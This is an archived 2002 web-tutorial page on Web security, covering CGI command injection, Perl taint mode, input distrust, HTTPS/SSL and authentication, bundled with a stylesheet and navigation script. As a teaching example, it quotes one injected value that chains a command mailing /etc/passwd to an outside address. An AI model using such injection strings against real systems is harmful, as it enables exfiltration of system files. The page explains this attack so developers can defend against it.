From: Subject: JumpStart to the Web technologies tutorial: Web security Date: Thu, 14 Nov 2002 10:48:31 +0100 MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_0027_01C28BCB.5F78F620"; type="text/html" X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 This is a multi-part message in MIME format. ------=_NextPart_000_0027_01C28BCB.5F78F620 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Content-Location: http://www.sergey.com/web_course/part_12.html JumpStart to the Web technologies tutorial: Web = security
Jumpstart into=20 the Web technologies: <- Prev. Start Contents References Home Next=20 ->
Web=20 security

Why is Web applications (CGI, Application servers etc.) the = world's=20 biggest security hole?=20

Some unknown person from unknown location anywhere in = the world=20 is running a program on your computer...
... If this program = is doing=20 ONLY what you think it does, you are lucky, but are you really sure if = this is=20 the case? :-)=20

Good real life example is the finger service gateway, which was = distributed=20 with the first versions of NCSA httpd. It just took the parameter from = the=20 form(let's say 'name') and run 'finger $name'. = What=20 happens if $name is:
'guest; /bin/mail = bad@company.com=20 < /etc/passwd' ? Whoops...=20

Important security questions, which should be asked:=20

You should build your security = according=20 to the answers to these questions. e.g. it would be probably overkill to = encrypt=20 all the users' data if all you gathering is users' nicknames. But if you = have=20 users' credit cards info, SS numbers etc. you may want to consider = keeping it=20 encrypted on your system.=20

Two possible positions in your security=20 policy:=20

Always use = 'Everything explicitly not permitted is forbidden.'!

Perl taint mode (perl -T)

If running perl with '-T' option, perl forces "taint" = checks.=20 The idea behind these checks is the following:=20

The way=20 it's working is that perl keeps track of all the variables and = knows,=20 which one is tainted and which one is not. If program tries to use = tainted data=20 in an unsafe operation, program will abort. There are special ways to do = the=20 laundering of the tainted data, so each time you want to use the tainted = data=20 you need explicitely clean it. Note here, that of course you can just = untaint=20 the data, without checking, but this mechanism reminds you that you need = to do=20 the validation.=20

You can use Ta= int.pm=20 module to work with Perl's taint mode.
More info on taint mode can be = found=20 at perlsec manpage (man perlsec).
All CGI = programs=20 should be run in a taint mode.

Do not trust the browser!

The browser is not under your control, so you can't trust it. It = means the=20 following:=20

HTTPS / SSL

Since we are sending over the Internet sensitive info, we don't want = bad guys=20 to see it if they put some sniffer in the middle. Help comes from Secure = Sockets=20 Layer (SSL). HTTPS is a secure version of HTTP, actually it's the same = HTTP, but=20 transfered over the encrypted channel of SSL. When we ask for the URL, = which=20 starts with 'https://', browser connects to the https daemon = (usually=20 on port 443) and they create the secure SSL channel over which they = speak=20 HTTP.
The way SSL works is the following:=20

  1. Each browser have a build-in list of the Certifying Authorities = (CA).=20
  2. Browser connects to the server.=20
  3. Server sends to the browser its digital certificate, which states = who this=20 is and contains server's public encryption key. It is signed by some = CA.=20
  4. Browser checks the certificate using the public key of the CA to = ensure,=20 that it's the right certificate.=20
  5. Using the server's public encryption key browser & server = negotiate=20 the session key.=20
  6. After the session key is agreed upon, all the data, which goes = over the=20 secure channel is encrypted with this key.
Note, that if the = server's=20 digital certificate is signed by unknown to the browser CA, it'll prompt = user to=20 manually verify if the certificate is Ok.=20

It's also worthwhile to note here, that HTTPS adds the load on the = server and=20 client since it adds the encryption, so it may be a good idea to use it = only=20 when you absolutely need to. For example if your site has a public press = releases section, it's probably doesn't need to use HTTPS.=20

More info on the cryptography can be found at the Cryptography FAQ. =

Authentication

In many cases we need to authenticate the user. How can we do it?=20

Summary:=20

More info on Web security can be found = here.=20

Jumpstart into=20 the Web technologies: <- Prev. Start Contents References Home Next=20 ->

Copyright =A9 2000 Sergey=20 Gribov
------=_NextPart_000_0027_01C28BCB.5F78F620 Content-Type: text/css; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Location: http://www.sergey.com/web_course/style.css .toolbar1 { PADDING-RIGHT: 3pt; PADDING-LEFT: 3pt; FONT-WEIGHT: bold; FONT-SIZE: = 8pt; PADDING-BOTTOM: 1pt; COLOR: #002255; PADDING-TOP: 1pt; FONT-FAMILY: = Tahoma, Arial, sans-serif } .toolbar2 { PADDING-RIGHT: 4pt; PADDING-LEFT: 4pt; FONT-WEIGHT: bold; FONT-SIZE: = 8pt; PADDING-BOTTOM: 1pt; COLOR: navy; PADDING-TOP: 1pt; FONT-FAMILY: = Tahoma, Arial, sans-serif } .title1 { PADDING-RIGHT: 4pt; PADDING-LEFT: 4pt; FONT-WEIGHT: bold; FONT-SIZE: = x-large; PADDING-BOTTOM: 7pt; COLOR: navy; PADDING-TOP: 10pt; = TEXT-ALIGN: center } .title2 { PADDING-RIGHT: 4pt; PADDING-LEFT: 4pt; FONT-WEIGHT: bold; FONT-SIZE: = x-large; PADDING-BOTTOM: 7pt; COLOR: navy; PADDING-TOP: 10pt; = TEXT-ALIGN: center; TEXT-DECORATION: underline } P { PADDING-RIGHT: 5pt; PADDING-LEFT: 5pt; PADDING-BOTTOM: 7pt; = PADDING-TOP: 7pt } ------=_NextPart_000_0027_01C28BCB.5F78F620 Content-Type: application/octet-stream Content-Transfer-Encoding: quoted-printable Content-Location: http://www.sergey.com/web_course/navig.js =0A= // Navigation function to go to the next / previous page=0A= // n is offset (1, -1 etc.)=0A= function goto_page (n) {=0A= var first =3D 0;=0A= var last =3D 14; // should be the next after the last one=0A= var part_name =3D "part_";=0A= var loc =3D window.location.href;=0A= var re =3D /(.*)\/(\w+)\.html([^\/]*)$/;=0A= var ra =3D re.exec(loc);=0A= =0A= // may be it ends with '/' instead of index.html=0A= if (ra =3D=3D null) {=0A= ra =3D re.exec(loc + "index.html");=0A= }=0A= var path =3D ra[1];=0A= var fname =3D ra[2]; =0A= =0A= // alert("=3D=3D" + ra[1] + "=3D=3D" + ra[2] + "=3D=3D" + ra[3]);=0A= =0A= if (n !=3D -1 && n !=3D 1) {=0A= alert("Hmmm... Wrong parameter to goto_page()...");=0A= }=0A= else if (fname =3D=3D "index" || fname =3D=3D "content") {=0A= if (n =3D=3D -1) {=0A= window.location.href =3D path + "/index.html";=0A= }=0A= else { // +1=0A= window.location.href =3D path + "/" + part_name + "1.html";=0A= }=0A= }=0A= else if (fname =3D=3D "reference") {=0A= if (n =3D=3D -1) {=0A= window.location.href =3D path + "/" + part_name + last + ".html";=0A= }=0A= else { // +1=0A= window.location.href =3D path + "/reference.html";=0A= }=0A= }=0A= else {=0A= var re1 =3D new RegExp("^" + part_name + "(\\d+)");=0A= var ra1 =3D re1.exec(fname);=0A= var num =3D parseInt(ra1[1]);=0A= if (num !=3D null) {=0A= num +=3D n;=0A= if (num > last) {=0A= window.location.href =3D path + "/reference.html";=0A= }=0A= else if (num <=3D first) {=0A= window.location.href =3D path + "/index.html";=0A= }=0A= else {=0A= window.location.href =3D path + "/" + part_name + num + ".html";=0A= }=0A= }=0A= else {=0A= alert("Hmmm... the filename " + fname + " looks strange...");=0A= }=0A= }=0A= }=0A= ------=_NextPart_000_0027_01C28BCB.5F78F620--